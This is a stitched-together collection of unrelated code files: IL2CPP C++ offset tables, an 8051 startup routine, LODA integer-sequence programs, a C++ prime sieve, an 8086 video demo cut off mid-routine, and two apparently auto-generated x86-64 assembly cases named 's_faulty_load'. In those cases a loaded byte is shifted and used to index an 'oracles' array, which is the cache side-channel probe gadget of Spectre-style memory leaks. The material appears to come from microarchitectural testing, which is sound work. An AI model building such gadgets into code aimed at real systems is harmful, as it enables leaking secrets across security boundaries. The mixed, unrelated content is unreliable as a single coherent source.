extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize992 = { sizeof (InterpreterFactory_t556462562), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable992[4] =
{
InterpreterFactory_t556462562::get_offset_of_mapping_0(),
InterpreterFactory_t556462562::get_offset_of_pattern_1(),
InterpreterFactory_t556462562::get_offset_of_namesMapping_2(),
InterpreterFactory_t556462562::get_offset_of_gap_3(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize993 = { sizeof (PatternCompiler_t637049905), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable993[1] =
{
PatternCompiler_t637049905::get_offset_of_pgm_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize994 = { sizeof (PatternLinkStack_t3979537293), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable994[1] =
{
PatternLinkStack_t3979537293::get_offset_of_link_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize995 = { sizeof (Link_t3337276394)+ sizeof (Il2CppObject), sizeof(Link_t3337276394 ), 0, 0 };
extern const int32_t g_FieldOffsetTable995[2] =
{
Link_t3337276394::get_offset_of_base_addr_0() + static_cast<int32_t>(sizeof(Il2CppObject)),
Link_t3337276394::get_offset_of_offset_addr_1() + static_cast<int32_t>(sizeof(Il2CppObject)),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize996 = { sizeof (LinkStack_t954792760), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable996[1] =
{
LinkStack_t954792760::get_offset_of_stack_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize997 = { sizeof (Mark_t2724874473)+ sizeof (Il2CppObject), sizeof(Mark_t2724874473 ), 0, 0 };
extern const int32_t g_FieldOffsetTable997[3] =
{
Mark_t2724874473::get_offset_of_Start_0() + static_cast<int32_t>(sizeof(Il2CppObject)),
Mark_t2724874473::get_offset_of_End_1() + static_cast<int32_t>(sizeof(Il2CppObject)),
Mark_t2724874473::get_offset_of_Previous_2() + static_cast<int32_t>(sizeof(Il2CppObject)),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize998 = { sizeof (Interpreter_t3731288230), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable998[16] =
{
Interpreter_t3731288230::get_offset_of_program_1(),
Interpreter_t3731288230::get_offset_of_program_start_2(),
Interpreter_t3731288230::get_offset_of_text_3(),
Interpreter_t3731288230::get_offset_of_text_end_4(),
Interpreter_t3731288230::get_offset_of_group_count_5(),
Interpreter_t3731288230::get_offset_of_match_min_6(),
Interpreter_t3731288230::get_offset_of_qs_7(),
Interpreter_t3731288230::get_offset_of_scan_ptr_8(),
Interpreter_t3731288230::get_offset_of_repeat_9(),
Interpreter_t3731288230::get_offset_of_fast_10(),
Interpreter_t3731288230::get_offset_of_stack_11(),
Interpreter_t3731288230::get_offset_of_deep_12(),
Interpreter_t3731288230::get_offset_of_marks_13(),
Interpreter_t3731288230::get_offset_of_mark_start_14(),
Interpreter_t3731288230::get_offset_of_mark_end_15(),
Interpreter_t3731288230::get_offset_of_groups_16(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize999 = { sizeof (IntStack_t273560425)+ sizeof (Il2CppObject), sizeof(IntStack_t273560425_marshaled_pinvoke), 0, 0 };
extern const int32_t g_FieldOffsetTable999[2] =
{
IntStack_t273560425::get_offset_of_values_0() + static_cast<int32_t>(sizeof(Il2CppObject)),
IntStack_t273560425::get_offset_of_count_1() + static_cast<int32_t>(sizeof(Il2CppObject)),
};
#ifdef __clang__
#pragma clang diagnostic pop
#endif
|
; void b_array_clear(b_array_t *a)
SECTION code_clib
SECTION code_adt_b_array
PUBLIC b_array_clear
EXTERN asm_b_array_clear
defc b_array_clear = asm_b_array_clear
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x170a3, %rsi
lea addresses_D_ht+0x124e3, %rdi
clflush (%rsi)
nop
nop
nop
nop
sub %r11, %r11
mov $39, %rcx
rep movsq
nop
nop
cmp $5615, %rcx
lea addresses_WC_ht+0x92a3, %rsi
lea addresses_D_ht+0x16a23, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
inc %r11
mov $29, %rcx
rep movsw
nop
nop
nop
xor $15948, %r12
lea addresses_D_ht+0x1cd23, %r14
nop
nop
nop
nop
xor %rax, %rax
movb (%r14), %cl
nop
nop
nop
nop
dec %rax
lea addresses_WC_ht+0x12ca3, %rdi
nop
sub %r12, %r12
movups (%rdi), %xmm4
vpextrq $0, %xmm4, %r14
nop
dec %rsi
lea addresses_WC_ht+0xa8a3, %rsi
lea addresses_A_ht+0x44a3, %rdi
nop
nop
nop
add $17354, %r9
mov $17, %rcx
rep movsq
nop
nop
nop
add $25575, %r14
lea addresses_D_ht+0x1720b, %rsi
lea addresses_normal_ht+0x19aa7, %rdi
nop
xor %r11, %r11
mov $22, %rcx
rep movsw
nop
cmp $3990, %r9
lea addresses_WT_ht+0x114a3, %rsi
lea addresses_D_ht+0x168f7, %rdi
cmp %rax, %rax
mov $41, %rcx
rep movsq
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0xcab3, %rsi
lea addresses_WT_ht+0xc42f, %rdi
sub %r11, %r11
mov $74, %rcx
rep movsl
nop
nop
nop
cmp $7933, %rdi
lea addresses_WT_ht+0x1cba3, %r12
nop
nop
nop
nop
dec %rsi
mov $0x6162636465666768, %r9
movq %r9, %xmm3
movups %xmm3, (%r12)
nop
nop
nop
dec %r11
lea addresses_WT_ht+0x12423, %rsi
lea addresses_WC_ht+0x128a3, %rdi
nop
nop
nop
cmp %r12, %r12
mov $45, %rcx
rep movsl
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0x4ac3, %r9
nop
nop
nop
nop
nop
cmp %rsi, %rsi
movb $0x61, (%r9)
nop
nop
nop
add %r12, %r12
lea addresses_WC_ht+0x16ca3, %rsi
nop
nop
nop
nop
and $861, %r12
and $0xffffffffffffffc0, %rsi
vmovaps (%rsi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %r11
nop
nop
nop
nop
nop
inc %rax
lea addresses_D_ht+0x1c96b, %rsi
lea addresses_A_ht+0xa3, %rdi
nop
nop
nop
nop
nop
cmp %rax, %rax
mov $24, %rcx
rep movsq
nop
cmp %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x9e23, %rsi
nop
nop
add $64289, %rcx
movb $0x51, (%rsi)
nop
nop
nop
xor %r9, %r9
// REPMOV
mov $0xe89, %rsi
mov $0xca3, %rdi
nop
nop
nop
nop
cmp %r15, %r15
mov $26, %rcx
rep movsl
nop
nop
nop
nop
nop
add $4351, %r10
// Store
lea addresses_US+0x7ee3, %r9
nop
nop
nop
nop
nop
add $10301, %rbp
movl $0x51525354, (%r9)
dec %r10
// Store
lea addresses_A+0x3fa3, %rcx
nop
nop
add $17319, %r15
mov $0x5152535455565758, %r10
movq %r10, (%rcx)
nop
nop
nop
xor $61619, %rsi
// Faulty Load
lea addresses_normal+0x24a3, %r10
nop
nop
nop
xor $37341, %r9
movb (%r10), %cl
lea oracles, %rsi
and $0xff, %rcx
shlq $12, %rcx
mov (%rsi,%rcx,1), %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_P', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_P', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'34': 50}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
$NOMOD51
$INCLUDE(hwconf.inc)
;------------------------------------------------------------------------------
; This file is part of the C51 Compiler package
; Copyright (c) 1988-2002 Keil Elektronik GmbH and Keil Software, Inc.
;------------------------------------------------------------------------------
; STARTUP.A51: This code is executed after processor reset.
;
; To translate this file use A51 with the following invocation:
;
; A51 STARTUP.A51
;
; To link the modified STARTUP.OBJ file to your application use the following
; BL51 invocation:
;
; BL51 <your object file list>, STARTUP.OBJ <controls>
;
;------------------------------------------------------------------------------
;
; User-defined Power-On Initialization of Memory
;
; With the following EQU statements the initialization of memory
; at processor reset can be defined:
;
; ; the absolute start-address of IDATA memory is always 0
IDATALEN EQU 0FFH ; the length of IDATA memory in bytes.
;
; See hwconf.inc XDATASTART EQU 0000H ; the absolute start-address of XDATA memory
; See hwconf.inc XDATALEN EQU 8000H ; the length of XDATA memory in bytes.
;
PDATASTART EQU 0H ; the absolute start-address of PDATA memory
PDATALEN EQU 0H ; the length of PDATA memory in bytes.
;
; Notes: The IDATA space overlaps physically the DATA and BIT areas of the
; 8051 CPU. At minimum the memory space occupied from the C51
; run-time routines must be set to zero.
;------------------------------------------------------------------------------
;
; Reentrant Stack Initilization
;
; The following EQU statements define the stack pointer for reentrant
; functions and initialized it:
;
; Stack Space for reentrant functions in the SMALL model.
IBPSTACK EQU 0 ; set to 1 if small reentrant is used.
IBPSTACKTOP EQU 0FFH+1 ; set top of stack to highest location+1.
;
; Stack Space for reentrant functions in the LARGE model.
XBPSTACK EQU 0 ; set to 1 if large reentrant is used.
XBPSTACKTOP EQU 0FFFFH+1; set top of stack to highest location+1.
;
; Stack Space for reentrant functions in the COMPACT model.
PBPSTACK EQU 0 ; set to 1 if compact reentrant is used.
PBPSTACKTOP EQU 0FFFFH+1; set top of stack to highest location+1.
;
;------------------------------------------------------------------------------
;
; Page Definition for Using the Compact Model with 64 KByte xdata RAM
;
; The following EQU statements define the xdata page used for pdata
; variables. The EQU PPAGE must conform with the PPAGE control used
; in the linker invocation.
;
PPAGEENABLE EQU 0 ; set to 1 if pdata object are used.
;
PPAGE EQU 0 ; define PPAGE number.
;
PPAGE_SFR DATA 0A0H ; SFR that supplies uppermost address byte
; (most 8051 variants use P2 as uppermost address byte)
;
;------------------------------------------------------------------------------
; Standard SFR Symbols
ACC DATA 0E0H
B DATA 0F0H
SP DATA 81H
DPL DATA 82H
DPH DATA 83H
AUXR DATA 8EH
NAME ?C_STARTUP
?C_C51STARTUP SEGMENT CODE
?STACK SEGMENT IDATA
RSEG ?STACK
DS 1
EXTRN CODE (?C_START)
PUBLIC ?C_STARTUP
CSEG AT 0
?C_STARTUP: LJMP STARTUP1
RSEG ?C_C51STARTUP
STARTUP1:
; Mapping before memory and stack inialization
MOV SP,#?STACK-1
call hw_init
IF IDATALEN <> 0
MOV R0,#IDATALEN - 1
CLR A
IDATALOOP: MOV @R0,A
DJNZ R0,IDATALOOP
ENDIF
IF XDATALEN <> 0
STARTUP_XMEM
MOV DPTR,#XDATASTART
MOV R7,#LOW (XDATALEN)
IF (LOW (XDATALEN)) <> 0
MOV R6,#(HIGH (XDATALEN)) +1
ELSE
MOV R6,#HIGH (XDATALEN)
ENDIF
CLR A
XDATALOOP: MOVX @DPTR,A
INC DPTR
DJNZ R7,XDATALOOP
DJNZ R6,XDATALOOP
ENDIF
IF PPAGEENABLE <> 0
MOV PPAGE_SFR,#PPAGE
ENDIF
IF PDATALEN <> 0
MOV R0,#LOW (PDATASTART)
MOV R7,#LOW (PDATALEN)
CLR A
PDATALOOP: MOVX @R0,A
INC R0
DJNZ R7,PDATALOOP
ENDIF
IF IBPSTACK <> 0
EXTRN DATA (?C_IBP)
MOV ?C_IBP,#LOW IBPSTACKTOP
ENDIF
IF XBPSTACK <> 0
EXTRN DATA (?C_XBP)
MOV ?C_XBP,#HIGH XBPSTACKTOP
MOV ?C_XBP+1,#LOW XBPSTACKTOP
ENDIF
IF PBPSTACK <> 0
EXTRN DATA (?C_PBP)
MOV ?C_PBP,#LOW PBPSTACKTOP
ENDIF
MOV SP,#?STACK-1
; This code is required if you use L51_BANK.A51 with Banking Mode 4
; EXTRN CODE (?B_SWITCH0)
; CALL ?B_SWITCH0 ; init bank mechanism to code bank 0
LJMP ?C_START
hw_init:
; Speed up the SI interface by writing to IPU_CFG:SPI_MST_CFG.
MOV RA_DA3, #0
MOV RA_DA2, #0
MOV RA_DA1, #007H
MOV RA_DA0, #0EAH
MOV RA_AD3, #070H
MOV RA_AD2, #0
MOV RA_AD1, #0
MOV RA_AD0_WR, #03CH ; this write start the AHB write! for Ocelot
$IF (BOOT_VIA_SPI = 1)
; Configure registers for loading the internal memory from FLASH. ICPU_CFG:MEMACC
; It is defined in src\config\hwconf.inc
MOV RA_DA3,#HIGH (XDATASTART - 1)
MOV RA_DA2,#LOW (XDATASTART - 1)
MOV RA_DA1, #0
MOV RA_DA0, #0
; MOV RA_AD3, #070H
; MOV RA_AD2, #0
; MOV RA_AD1, #0
MOV RA_AD0_WR, #064H ; this write start the AHB write!ocelot
; Start the actual load, the 8051 will be gated while the load is going on,
; so we can just continue as if nothing had happend (8051 will be released
; once the onchip memory contains the progam). ICPU_CFG:MEMACC_CTRL
MOV RA_DA3, #0
MOV RA_DA2, #0
; MOV RA_DA1, #0
MOV RA_DA0, #001H
; MOV RA_AD3, #070H
; MOV RA_AD2, #0
; MOV RA_AD1, #0
MOV RA_AD0_WR, #060H ; this write start the AHB write!ocelot
$ENDIF
; Errata, clear SFR register 0x8E prior to mapping internal memory.
MOV 8EH, #000H
; Enable mapping of onchip memory, note that we use SFR reg - not the CSR
; counterpart, this means that if the 8051 is reset (without resetting the
; the AHB system), then we will again load from external FLASH!
MOV MMAP, #0AFH ; map all accesses to onchip memory (until 8051 reset)
; MOV RA_DA0, #0AFH
; MOV RA_AD0_WR, #05CH; // this write start the AHB write!
;MOV RA_AD0_RD, #024H; // this write start the AHB read!
;MOV RA_DA0, #08FH; // clear bits 4:5 (of 0xAF)for ferret and jaguar2
;MOV RA_AD0_WR, #024H; // write back register!
ret
END
|
; A010478: Decimal expansion of square root of 22.
; 4,6,9,0,4,1,5,7,5,9,8,2,3,4,2,9,5,5,4,5,6,5,6,3,0,1,1,3,5,4,4,4,6,6,2,8,0,5,8,8,2,2,8,3,5,3,4,1,1,7,3,7,1,5,3,6,0,5,7,0,1,8,9,1,0,1,7,0,2,4,6,3,2,7,5,3,2,3,9,7,2,1,4,8,2,1,1,5,5,9,6,0,6,1,5,4,3,1,3,5
mov $1,1
mov $2,1
mov $3,$0
add $3,3
mov $4,$0
add $4,5
mul $4,2
mov $7,10
pow $7,$4
mov $9,10
lpb $3
mov $4,$2
pow $4,2
mul $4,22
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,1
div $1,$8
div $2,$8
sub $3,1
lpe
mov $3,$9
pow $3,$0
div $2,$3
div $1,$2
mod $1,$9
mov $0,$1
|
; A265762: Coefficient of x in minimal polynomial of the continued fraction [1^n,2,1,1,1,...], where 1^n means n ones.
; Submitted by Jon Maiga
; -3,-5,-15,-37,-99,-257,-675,-1765,-4623,-12101,-31683,-82945,-217155,-568517,-1488399,-3896677,-10201635,-26708225,-69923043,-183060901,-479259663,-1254718085,-3284894595,-8599965697,-22515002499,-58945041797,-154320122895,-404015326885,-1057725857763,-2769162246401,-7249760881443,-18980120397925,-49690600312335,-130091680539077,-340584441304899,-891661643375617,-2334400488821955,-6111539823090245,-16000218980448783,-41889117118256101,-109667132374319523,-287112280004702465,-751669707639787875
mov $1,-6
mov $3,1
mov $4,-4
lpb $0
sub $0,1
mov $2,$1
add $3,$1
add $1,$3
add $2,2
add $4,1
mov $5,$4
mov $4,$1
sub $4,3
sub $5,$2
add $1,$5
lpe
mov $0,$1
div $0,2
|
/*
* File: Sieve of Eratosthenes
* Algorithm: Sieve of Eratosthenes
* Created Date: Saturday July 25th 2020
* Author: preetam rane
*/
#include<bits/stdc++.h>
using namespace std;
bool Check(int N,int pos){
return (bool)(N & (1<<pos));
}
void Set(int &N,int pos){
N=N | (1<<pos);
}
const int MAX = 99998953;
int prime[(MAX>>5)+100];
void sieve(){
int lim = sqrt(MAX);
for(int i=3; i<=lim; i+=2){
if(!Check(prime[i>>5],i&31)){
for(int j=i*i; j<=MAX; j+=(i<<1)){
Set(prime[j>>5],j&31);
}
}
}
cout << 2 << endl;
int n = 1;
for(int i=3; i<=MAX; i+=2){
if(!Check(prime[i>>5],i&31)){
n++;
if(n%100 == 1)
cout << i << endl;
}
}
}
int main()
{
sieve();
}
|
; A051397: a(n) = (2*n-2)*(2*n-1)*a(n-1)+1.
; Submitted by Jon Maiga
; 0,1,7,141,5923,426457,46910271,7318002277,1536780478171,418004290062513,142957467201379447,60042136224579367741,30381320929637160076947,18228792557782296046168201,12796612375563171824410077103,10390849248957295521420982607637,9663489801530284834921513825102411,10204645230415980785677118599308146017,12143527824195017134955771133176693760231,16175179061827762823761087149391356088627693,23971615369628744504813931155397989723346241027,39313449206191140987894847094852703146287835284281
lpb $0
sub $0,1
mul $2,$1
add $1,1
mul $2,$1
add $1,1
add $2,4
lpe
mov $0,$2
div $0,4
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rax
push %rbp
push %rdx
lea addresses_UC_ht+0x7a89, %rbp
nop
and %rax, %rax
mov $0x6162636465666768, %rdx
movq %rdx, %xmm6
vmovups %ymm6, (%rbp)
nop
and $64243, %r14
lea addresses_D_ht+0xa89, %r11
nop
nop
nop
nop
nop
xor %r14, %r14
mov (%r11), %r13w
nop
nop
nop
add %r13, %r13
pop %rdx
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Faulty Load
lea addresses_WC+0x16289, %rsi
nop
nop
nop
nop
nop
add %rcx, %rcx
movups (%rsi), %xmm1
vpextrq $0, %xmm1, %rbx
lea oracles, %rsi
and $0xff, %rbx
shlq $12, %rbx
mov (%rsi,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': True, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
org 0
%include "../../defaults_common.asm"
%macro outputCharacter 0
call doPrintCharacter
%endmacro
;%define bin
..start:
; mov ax,0x40
; mov ds,ax
;checkMotorShutoff:
; cmp byte[0x40],0
; je noMotorShutoff
; mov byte[0x40],1
; jmp checkMotorShutoff
;noMotorShutoff:
mov dx,0x3b8
mov al,29
out dx,al
mov dl,0xb4
; 0xff Horizontal Total 38 38 71 71 38 38 38 61
mov ax,0x6100
out dx,ax
; 0xff Horizontal Displayed 28 28 50 50 28 28 28 50
mov ax,0x5001
out dx,ax
; 0xff Horizontal Sync Position 2d 2d 5a 5a 2d 2d 2d 52
mov ax,0x5202
out dx,ax
; 0x0f Horizontal Sync Width 0a 0a 0a 0a 0a 0a 0a 0f
mov ax,0x0f03
out dx,ax
; 0x7f Vertical Total 1f 1f 1f 1f 7f 7f 7f 19
mov ax,0x1904
out dx,ax
; 0x1f Vertical Total Adjust 06 06 06 06 06 06 06 06
mov ax,0x0605
out dx,ax
; 0x7f Vertical Displayed 19 19 19 19 64 64 64 19
mov ax,0x1906
out dx,ax
; 0x7f Vertical Sync Position 1c 1c 1c 1c 70 70 70 19
mov ax,0x1907
out dx,ax
; 0x03 Interlace Mode 02 02 02 02 02 02 02 02
mov ax,0x0208
out dx,ax
; 0x1f Max Scan Line Address 07 07 07 07 01 01 01 0d
mov ax,0x0d09
out dx,ax
; Cursor Start 06 06 06 06 06 06 06 0b
; 0x1f Cursor Start 6 6 6 6 6 6 6 0b
; 0x60 Cursor Mode 0 0 0 0 0 0 0 0
mov ax,0x0b0a
out dx,ax
; 0x1f Cursor End 07 07 07 07 07 07 07 0c
mov ax,0x0c0b
out dx,ax
; 0x3f Start Address (H) 00 00 00 00 00 00 00 00
mov ax,0x000c
out dx,ax
; 0xff Start Address (L) 00 00 00 00 00 00 00 00
mov ax,0x000d
out dx,ax
; 0x3f Cursor (H) 00 00 00 00 00 00 00 00
mov ax,0x000e
out dx,ax
; 0xff Cursor (L) 00 00 00 00 00 00 00 00
mov ax,0x000f
out dx,ax
; mov ax,0xb000
; mov es,ax
; xor di,di
; mov cx,80*25
; rep stosw
in al,0x61
or al,0x80
mov [cs:port61high+1],al
and al,0x7f
mov [cs:port61low+1],al
xor ax,ax
mov ds,ax
mov ax,[0x20]
mov [cs:oldInterrupt8],ax
mov ax,[0x22]
mov [cs:oldInterrupt8+2],ax
in al,0x21
mov [cs:imr],al
mov al,0xfe ; Enable IRQ0 (timer), disable all others
out 0x21,al
; Determine phase
lockstep 1
mov ax,cs
mov es,ax
mov ds,ax
mov ss,ax
mov sp,stackTop
mov di,data2
in al,0x61
or al,3
out 0x61,al
mov al,TIMER2 | BOTH | MODE2 | BINARY
out 0x43,al
mov dx,0x42
mov al,0
out dx,al
out dx,al
%rep 5
readPIT16 2
stosw
%endrep
refreshOn
mov ax,'0'
mov di,[data2+8]
mov si,[data2+6]
mov bx,[data2+4]
mov cx,[data2+2]
mov dx,[data2]
sub dx,cx
sub dx,20
jnz notPhase0
add ax,1
notPhase0:
sub cx,bx
sub cx,20
jnz notPhase1
add ax,2
notPhase1:
sub bx,si
sub bx,20
jnz notPhase2
add ax,4
notPhase2:
sub si,di
sub si,20
jnz notPhase3
add ax,8
notPhase3:
mov [phase],al
mov di,startAddresses
mov ax,cs
mov es,ax
mov ax,-40
mov cx,102
initAddressesLoopTop:
add ax,40
stosw
loop initAddressesLoopTop
mov cx,101
initAddressesLoopTop2:
sub ax,40
stosw
loop initAddressesLoopTop2
mov cx,101
inc ax
; dec ax
initAddressesLoopTop3:
stosw
add ax,40
loop initAddressesLoopTop3
mov cx,101
initAddressesLoopTop4:
sub ax,40
stosw
loop initAddressesLoopTop4
mov di,rasterData
xor ax,ax
mov cx,200
initRastersLoopTop:
; stosb
; inc ax
loop initRastersLoopTop
call copyImageData
; mov ax,0xb800
; mov es,ax
; mov ds,ax
; xor si,si
; xor di,di
; xor dx,dx
; mov bx,3
;.loopTop:
; mov cx,40
;.loopTop2:
; lodsw
; or ax,bx
; stosw
